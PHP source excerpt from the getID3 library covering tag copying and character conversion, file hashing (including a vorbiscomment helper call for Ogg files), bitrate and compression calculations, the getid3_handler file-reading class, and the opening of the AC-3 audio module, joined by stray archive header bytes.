		if ($encoding == $this->encoding) {
			return;
		}

		// loop thru array
		foreach ($array as $key => $value) {

			// go recursive
			if (is_array($value)) {
				$this->CharConvert($array[$key], $encoding);
			}

			// convert string
			elseif (is_string($value)) {
				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function HandleAllTags() {

		// key name => array (tag name, character encoding)
		static $tags;
		if (empty($tags)) {
			$tags = array(
				'asf'       => array('asf'           , 'UTF-16LE'),
				'midi'      => array('midi'          , 'ISO-8859-1'),
				'nsv'       => array('nsv'           , 'ISO-8859-1'),
				'ogg'       => array('vorbiscomment' , 'UTF-8'),
				'png'       => array('png'           , 'UTF-8'),
				'tiff'      => array('tiff'          , 'ISO-8859-1'),
				'quicktime' => array('quicktime'     , 'UTF-8'),
				'real'      => array('real'          , 'ISO-8859-1'),
				'vqf'       => array('vqf'           , 'ISO-8859-1'),
				'zip'       => array('zip'           , 'ISO-8859-1'),
				'riff'      => array('riff'          , 'ISO-8859-1'),
				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
				'ape'       => array('ape'           , 'UTF-8'),
				'cue'       => array('cue'           , 'ISO-8859-1'),
				'matroska'  => array('matroska'      , 'UTF-8'),
				'flac'      => array('vorbiscomment' , 'UTF-8'),
				'divxtag'   => array('divx'          , 'ISO-8859-1'),
				'iptc'      => array('iptc'          , 'ISO-8859-1'),
				'dsdiff'    => array('dsdiff'        , 'ISO-8859-1'),
			);
		}

		// loop through comments array
		foreach ($tags as $comment_name => $tagname_encoding_array) {
			list($tag_name, $encoding) = $tagname_encoding_array;

			// fill in default encoding type if not already present
			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
				$this->info[$comment_name]['encoding'] = $encoding;
			}

			// copy comments if key name set
			if (!empty($this->info[$comment_name]['comments'])) {
				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (is_string($value)) {
							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
						}
						if (isset($value) && $value !== "") {
							if (!is_numeric($key)) {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
							} else {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
							}
						}
					}
					if ($tag_key == 'picture') {
						// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
						unset($this->info[$comment_name]['comments'][$tag_key]);
					}
				}

				if (!isset($this->info['tags'][$tag_name])) {
					// comments are set but contain nothing but empty strings, so skip
					continue;
				}

				$this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']);           // only copy gets converted!

				if ($this->option_tags_html) {
					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
						if ($tag_key == 'picture') {
							// Do not to try to convert binary picture data to HTML
							// https://github.com/JamesHeinrich/getID3/issues/178
							continue;
						}
						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']);
					}
				}

			}

		}

		// pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
		if (!empty($this->info['tags'])) {
			$unset_keys = array('tags', 'tags_html');
			foreach ($this->info['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					if ($tagname == 'picture') {
						foreach ($tagdata as $key => $tagarray) {
							$this->info['comments']['picture'][] = $tagarray;
							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
									unset($this->info['tags'][$tagtype][$tagname][$key]);
								}
								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
								}
							}
						}
					}
				}
				foreach ($unset_keys as $unset_key) {
					// remove possible empty keys from (e.g. [tags][id3v2][picture])
					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
						unset($this->info[$unset_key][$tagtype]['picture']);
					}
					if (empty($this->info[$unset_key][$tagtype])) {
						unset($this->info[$unset_key][$tagtype]);
					}
					if (empty($this->info[$unset_key])) {
						unset($this->info[$unset_key]);
					}
				}
				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
				if (isset($this->info[$tagtype]['comments']['picture'])) {
					unset($this->info[$tagtype]['comments']['picture']);
				}
				if (empty($this->info[$tagtype]['comments'])) {
					unset($this->info[$tagtype]['comments']);
				}
				if (empty($this->info[$tagtype])) {
					unset($this->info[$tagtype]);
				}
			}
		}
		return true;
	}

	/**
	 * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3
	 *
	 * @param array $ThisFileInfo
	 *
	 * @return bool
	 */
	public function CopyTagsToComments(&$ThisFileInfo) {
	    return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html);
	}

	/**
	 * @param string $algorithm
	 *
	 * @return array|bool
	 */
	public function getHashdata($algorithm) {
		switch ($algorithm) {
			case 'md5':
			case 'sha1':
				break;

			default:
				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
		}

		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {

			// We cannot get an identical md5_data value for Ogg files where the comments
			// span more than 1 Ogg page (compared to the same audio data with smaller
			// comments) using the normal getID3() method of MD5'ing the data between the
			// end of the comments and the end of the file (minus any trailing tags),
			// because the page sequence numbers of the pages that the audio data is on
			// do not match. Under normal circumstances, where comments are smaller than
			// the nominal 4-8kB page size, then this is not a problem, but if there are
			// very large comments, the only way around it is to strip off the comment
			// tags with vorbiscomment and MD5 that file.
			// This procedure must be applied to ALL Ogg files, not just the ones with
			// comments larger than 1 page, because the below method simply MD5's the
			// whole file with the comments stripped, not just the portion after the
			// comments block (which is the standard getID3() method.

			// The above-mentioned problem of comments spanning multiple pages and changing
			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
			// currently vorbiscomment only works on OggVorbis files.

			// phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {

				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
				$this->info[$algorithm.'_data'] = false;

			} else {

				// Prevent user from aborting script
				$old_abort = ignore_user_abort(true);

				// Create empty file
				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
				touch($empty);

				// Use vorbiscomment to make temp file without comments
				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
				$file = $this->info['filenamepath'];

				if (GETID3_OS_ISWINDOWS) {

					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {

						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
						$VorbisCommentError = `$commandline`;

					} else {

						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;

					}

				} else {

					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
					$VorbisCommentError = `$commandline`;

				}

				if (!empty($VorbisCommentError)) {

					$this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError);
					$this->info[$algorithm.'_data'] = false;

				} else {

					// Get hash of newly created file
					switch ($algorithm) {
						case 'md5':
							$this->info[$algorithm.'_data'] = md5_file($temp);
							break;

						case 'sha1':
							$this->info[$algorithm.'_data'] = sha1_file($temp);
							break;
					}
				}

				// Clean up
				unlink($empty);
				unlink($temp);

				// Reset abort setting
				ignore_user_abort($old_abort);

			}

		} else {

			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {

				// get hash from part of file
				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);

			} else {

				// get hash from whole file
				switch ($algorithm) {
					case 'md5':
						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
						break;

					case 'sha1':
						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
						break;
				}
			}

		}
		return true;
	}

	public function ChannelsBitratePlaytimeCalculations() {

		// set channelmode on audio
		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
			// ignore
		} elseif ($this->info['audio']['channels'] == 1) {
			$this->info['audio']['channelmode'] = 'mono';
		} elseif ($this->info['audio']['channels'] == 2) {
			$this->info['audio']['channelmode'] = 'stereo';
		}

		// Calculate combined bitrate - audio + video
		$CombinedBitrate  = 0;
		$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
		$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
			$this->info['bitrate'] = $CombinedBitrate;
		}
		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
		//	// for example, VBR MPEG video files cannot determine video bitrate:
		//	// should not set overall bitrate and playtime from audio bitrate only
		//	unset($this->info['bitrate']);
		//}

		// video bitrate undetermined, but calculable
		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
			// if video bitrate not set
			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
				// AND if audio bitrate is set to same as overall bitrate
				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
					// AND if playtime is set
					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
						// AND if AV data offset start/end is known
						// THEN we can calculate the video bitrate
						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
					}
				}
			}
		}

		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
		}

		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
		}
		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
				// audio only
				$this->info['audio']['bitrate'] = $this->info['bitrate'];
			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
				// video only
				$this->info['video']['bitrate'] = $this->info['bitrate'];
			}
		}

		// Set playtime string
		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
		}
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioVideo() {
		if (empty($this->info['video'])) {
			return false;
		}
		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
			return false;
		}
		if (empty($this->info['video']['bits_per_sample'])) {
			return false;
		}

		switch ($this->info['video']['dataformat']) {
			case 'bmp':
			case 'gif':
			case 'jpeg':
			case 'jpg':
			case 'png':
			case 'tiff':
				$FrameRate = 1;
				$PlaytimeSeconds = 1;
				$BitrateCompressed = $this->info['filesize'] * 8;
				break;

			default:
				if (!empty($this->info['video']['frame_rate'])) {
					$FrameRate = $this->info['video']['frame_rate'];
				} else {
					return false;
				}
				if (!empty($this->info['playtime_seconds'])) {
					$PlaytimeSeconds = $this->info['playtime_seconds'];
				} else {
					return false;
				}
				if (!empty($this->info['video']['bitrate'])) {
					$BitrateCompressed = $this->info['video']['bitrate'];
				} else {
					return false;
				}
				break;
		}
		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;

		$this->info['video']['compression_ratio'] = getid3_lib::SafeDiv($BitrateCompressed, $BitrateUncompressed, 1);
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateCompressionRatioAudio() {
		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
			return false;
		}
		$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));

		if (!empty($this->info['audio']['streams'])) {
			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
				}
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function CalculateReplayGain() {
		if (isset($this->info['replay_gain'])) {
			if (!isset($this->info['replay_gain']['reference_volume'])) {
				$this->info['replay_gain']['reference_volume'] = 89.0;
			}
			if (isset($this->info['replay_gain']['track']['adjustment'])) {
				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
			}
			if (isset($this->info['replay_gain']['album']['adjustment'])) {
				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
			}

			if (isset($this->info['replay_gain']['track']['peak'])) {
				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
			}
			if (isset($this->info['replay_gain']['album']['peak'])) {
				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
			}
		}
		return true;
	}

	/**
	 * @return bool
	 */
	public function ProcessAudioStreams() {
		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
			if (!isset($this->info['audio']['streams'])) {
				foreach ($this->info['audio'] as $key => $value) {
					if ($key != 'streams') {
						$this->info['audio']['streams'][0][$key] = $value;
					}
				}
			}
		}
		return true;
	}

	/**
	 * @return string|bool
	 */
	public function getid3_tempnam() {
		return tempnam($this->tempdir, 'gI3');
	}

	/**
	 * @param string $name
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function include_module($name) {
		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
			throw new getid3_exception('Required module.'.$name.'.php is missing.');
		}
		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
		return true;
	}

	/**
	 * @param string $filename
	 *
	 * @return bool
	 */
	public static function is_writable ($filename) {
		$ret = is_writable($filename);
		if (!$ret) {
			$perms = fileperms($filename);
			$ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002);
		}
		return $ret;
	}

}


abstract class getid3_handler
{

	/**
	* @var getID3
	*/
	protected $getid3;                       // pointer

	/**
	 * Analyzing filepointer or string.
	 *
	 * @var bool
	 */
	protected $data_string_flag     = false;

	/**
	 * String to analyze.
	 *
	 * @var string
	 */
	protected $data_string          = '';

	/**
	 * Seek position in string.
	 *
	 * @var int
	 */
	protected $data_string_position = 0;

	/**
	 * String length.
	 *
	 * @var int
	 */
	protected $data_string_length   = 0;

	/**
	 * @var string
	 */
	private $dependency_to;

	/**
	 * getid3_handler constructor.
	 *
	 * @param getID3 $getid3
	 * @param string $call_module
	 */
	public function __construct(getID3 $getid3, $call_module=null) {
		$this->getid3 = $getid3;

		if ($call_module) {
			$this->dependency_to = str_replace('getid3_', '', $call_module);
		}
	}

	/**
	 * Analyze from file pointer.
	 *
	 * @return bool
	 */
	abstract public function Analyze();

	/**
	 * Analyze from string instead.
	 *
	 * @param string $string
	 */
	public function AnalyzeString($string) {
		// Enter string mode
		$this->setStringMode($string);

		// Save info
		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
		$saved_avdataend    = $this->getid3->info['avdataend'];
		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call

		// Reset some info
		$this->getid3->info['avdataoffset'] = 0;
		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;

		// Analyze
		$this->Analyze();

		// Restore some info
		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
		$this->getid3->info['avdataend']    = $saved_avdataend;
		$this->getid3->info['filesize']     = $saved_filesize;

		// Exit string mode
		$this->data_string_flag = false;
	}

	/**
	 * @param string $string
	 */
	public function setStringMode($string) {
		$this->data_string_flag   = true;
		$this->data_string        = $string;
		$this->data_string_length = strlen($string);
	}

	/**
	 * @phpstan-impure
	 *
	 * @return int|bool
	 */
	protected function ftell() {
		if ($this->data_string_flag) {
			return $this->data_string_position;
		}
		return ftell($this->getid3->fp);
	}

	/**
	 * @param int $bytes
	 *
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fread($bytes) {
		if ($this->data_string_flag) {
			$this->data_string_position += $bytes;
			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
		}
		if ($bytes == 0) {
			return '';
		} elseif ($bytes < 0) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().')', 10);
		}
		$pos = $this->ftell() + $bytes;
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
		}

		//return fread($this->getid3->fp, $bytes);
		/*
		* https://www.getid3.org/phpBB3/viewtopic.php?t=1930
		* "I found out that the root cause for the problem was how getID3 uses the PHP system function fread().
		* It seems to assume that fread() would always return as many bytes as were requested.
		* However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes.
		* The call may return only part of the requested data and a new call is needed to get more."
		*/
		$contents = '';
		do {
			//if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) {
			if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)"
				throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10);
			}
			$part = fread($this->getid3->fp, $bytes);
			$partLength  = strlen($part);
			$bytes      -= $partLength;
			$contents   .= $part;
		} while (($bytes > 0) && ($partLength > 0));
		return $contents;
	}

	/**
	 * @param int $bytes
	 * @param int $whence
	 *
	 * @phpstan-impure
	 *
	 * @return int
	 *
	 * @throws getid3_exception
	 */
	protected function fseek($bytes, $whence=SEEK_SET) {
		if ($this->data_string_flag) {
			switch ($whence) {
				case SEEK_SET:
					$this->data_string_position = $bytes;
					break;

				case SEEK_CUR:
					$this->data_string_position += $bytes;
					break;

				case SEEK_END:
					$this->data_string_position = $this->data_string_length + $bytes;
					break;
			}
			return 0; // fseek returns 0 on success
		}

		$pos = $bytes;
		if ($whence == SEEK_CUR) {
			$pos = $this->ftell() + $bytes;
		} elseif ($whence == SEEK_END) {
			$pos = $this->getid3->info['filesize'] + $bytes;
		}
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
		}

		// https://github.com/JamesHeinrich/getID3/issues/327
		$result = fseek($this->getid3->fp, $bytes, $whence);
		if ($result !== 0) { // fseek returns 0 on success
			throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10);
		}
		return $result;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return string|false
	 *
	 * @throws getid3_exception
	 */
	protected function fgets() {
		// must be able to handle CR/LF/CRLF but not read more than one lineend
		$buffer   = ''; // final string we will return
		$prevchar = ''; // save previously-read character for end-of-line checking
		if ($this->data_string_flag) {
			while (true) {
				$thischar = substr($this->data_string, $this->data_string_position++, 1);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					$this->data_string_position--;
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if ($this->data_string_position >= $this->data_string_length) {
					// EOF
					break;
				}
				$prevchar = $thischar;
			}

		} else {

			// Ideally we would just use PHP's fgets() function, however...
			// it does not behave consistently with regards to mixed line endings, may be system-dependent
			// and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs)
			//return fgets($this->getid3->fp);
			while (true) {
				$thischar = fgetc($this->getid3->fp);
				if (($prevchar == "\r") && ($thischar != "\n")) {
					// read one byte too many, back up
					fseek($this->getid3->fp, -1, SEEK_CUR);
					break;
				}
				$buffer .= $thischar;
				if ($thischar == "\n") {
					break;
				}
				if (feof($this->getid3->fp)) {
					break;
				}
				$prevchar = $thischar;
			}

		}
		return $buffer;
	}

	/**
	 * @phpstan-impure
	 *
	 * @return bool
	 */
	protected function feof() {
		if ($this->data_string_flag) {
			return $this->data_string_position >= $this->data_string_length;
		}
		return feof($this->getid3->fp);
	}

	/**
	 * @param string $module
	 *
	 * @return bool
	 */
	final protected function isDependencyFor($module) {
		return $this->dependency_to == $module;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function error($text) {
		$this->getid3->info['error'][] = $text;

		return false;
	}

	/**
	 * @param string $text
	 *
	 * @return bool
	 */
	protected function warning($text) {
		return $this->getid3->warning($text);
	}

	/**
	 * @param string $text
	 */
	protected function notice($text) {
		// does nothing for now
	}

	/**
	 * @param string $name
	 * @param int    $offset
	 * @param int    $length
	 * @param string $image_mime
	 *
	 * @return string|null
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function saveAttachment($name, $offset, $length, $image_mime=null) {
		$fp_dest = null;
		$dest = null;
		try {

			// do not extract at all
			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {

				$attachment = null; // do not set any

			// extract to return array
			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {

				$this->fseek($offset);
				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
				if ($attachment === false || strlen($attachment) != $length) {
					throw new Exception('failed to read attachment data');
				}

			// assume directory path is given
			} else {

				// set up destination path
				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
				if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory
					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
				}
				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');

				// create dest file
				if (($fp_dest = fopen($dest, 'wb')) == false) {
					throw new Exception('failed to create file '.$dest);
				}

				// copy data
				$this->fseek($offset);
				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
				$bytesleft = $length;
				while ($bytesleft > 0) {
					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
					}
					$bytesleft -= $byteswritten;
				}

				fclose($fp_dest);
				$attachment = $dest;

			}

		} catch (Exception $e) {

			// close and remove dest file if created
			if (isset($fp_dest) && is_resource($fp_dest)) {
				fclose($fp_dest);
			}

			if (isset($dest) && file_exists($dest)) {
				unlink($dest);
			}

			// do not set any is case of error
			$attachment = null;
			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());

		}

		// seek to the end of attachment
		$this->fseek($offset + $length);

		return $attachment;
	}

}


class getid3_exception extends Exception
{
	public $message;
}
PKEWd[��ؙؙmodule.audio.ac3.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ac3.php                                        //
// module for analyzing AC-3 (aka Dolby Digital) audio files   //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_ac3 extends getid3_handler
{
	/**
	 * @var array
	 */
	private $AC3header = array();

	/**
	 * @var int
	 */
	private $BSIoffset = 0;

	const syncword = 0x0B77;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		///AH
		$info['ac3']['raw']['bsi'] = array();
		$thisfile_ac3              = &$info['ac3'];
		$thisfile_ac3_raw          = &$thisfile_ac3['raw'];
		$thisfile_ac3_raw_bsi      = &$thisfile_ac3_raw['bsi'];


		// http://www.atsc.org/standards/a_52a.pdf

		$info['fileformat'] = 'ac3';

		// An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames
		// Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256
		// new audio samples per channel. A synchronization information (SI) header at the beginning
		// of each frame contains information needed to acquire and maintain synchronization. A
		// bit stream information (BSI) header follows SI, and contains parameters describing the coded
		// audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the
		// end of each frame is an error check field that includes a CRC word for error detection. An
		// additional CRC word is located in the SI header, the use of which, by a decoder, is optional.
		//
		// syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC

		// syncinfo() {
		// 	 syncword    16
		// 	 crc1        16
		// 	 fscod        2
		// 	 frmsizecod   6
		// } /* end of syncinfo */

		$this->fseek($info['avdataoffset']);
		$tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...?
		$this->AC3header['syncinfo']  =     getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2));
		$this->AC3header['bsi']       =     getid3_lib::BigEndian2Bin(substr($tempAC3header, 2));
		$thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
		unset($tempAC3header);

		if ($this->AC3header['syncinfo'] !== self::syncword) {
			if (!$this->isDependencyFor('matroska')) {
				unset($info['fileformat'], $info['ac3']);
				return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"');
			}
		}

		$info['audio']['dataformat']   = 'ac3';
		$info['audio']['bitrate_mode'] = 'cbr';
		$info['audio']['lossless']     = false;

		if ($thisfile_ac3_raw_bsi['bsid'] <= 8) {

			$thisfile_ac3_raw_bsi['crc1']       = getid3_lib::Bin2Dec($this->readHeaderBSI(16));
			$thisfile_ac3_raw_bsi['fscod']      =                     $this->readHeaderBSI(2);   // 5.4.1.3
			$thisfile_ac3_raw_bsi['frmsizecod'] =                     $this->readHeaderBSI(6);   // 5.4.1.4
			if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits)
				$this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly');
			}

			$thisfile_ac3_raw_bsi['bsid']  = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3);

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) {
				// If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) {
				// If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream.
				$thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2);
				$thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']);
			}

			if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) {
				// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
